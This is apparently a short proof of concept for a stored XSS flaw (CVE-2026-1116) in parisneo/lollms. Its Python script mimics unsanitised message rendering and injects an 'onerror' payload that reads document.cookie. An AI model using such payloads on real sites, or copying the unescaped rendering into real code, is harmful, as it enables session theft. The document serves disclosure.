CVE-2026-1116 parisneo/lollms存储型XSS漏洞

# PoC for CVE-2026-1116 # Simulating the vulnerable deserialization in parisneo/lollms import json class AppLollmsMessage: def __init__(self, role, content): self.role = role self.content = content @classmethod def from_dict(cls, data): # Vulnerable implementation: no sanitization of 'content' return cls(data.get('role'), data.get('content')) def render(self): # Vulnerable rendering: direct output to HTML return f"<div class='message'>{self.content}</div>" # Malicious payload containing JavaScript payload = '<img src=x onerror=alert(document.cookie)>' # Attacker crafted data malicious_dict = { "role": "user", "content": payload } # Exploitation: Deserializing the malicious data msg = AppLollmsMessage.from_dict(malicious_dict) # Output the rendered HTML (simulating what the victim sees) print("Rendered Output:") print(msg.render())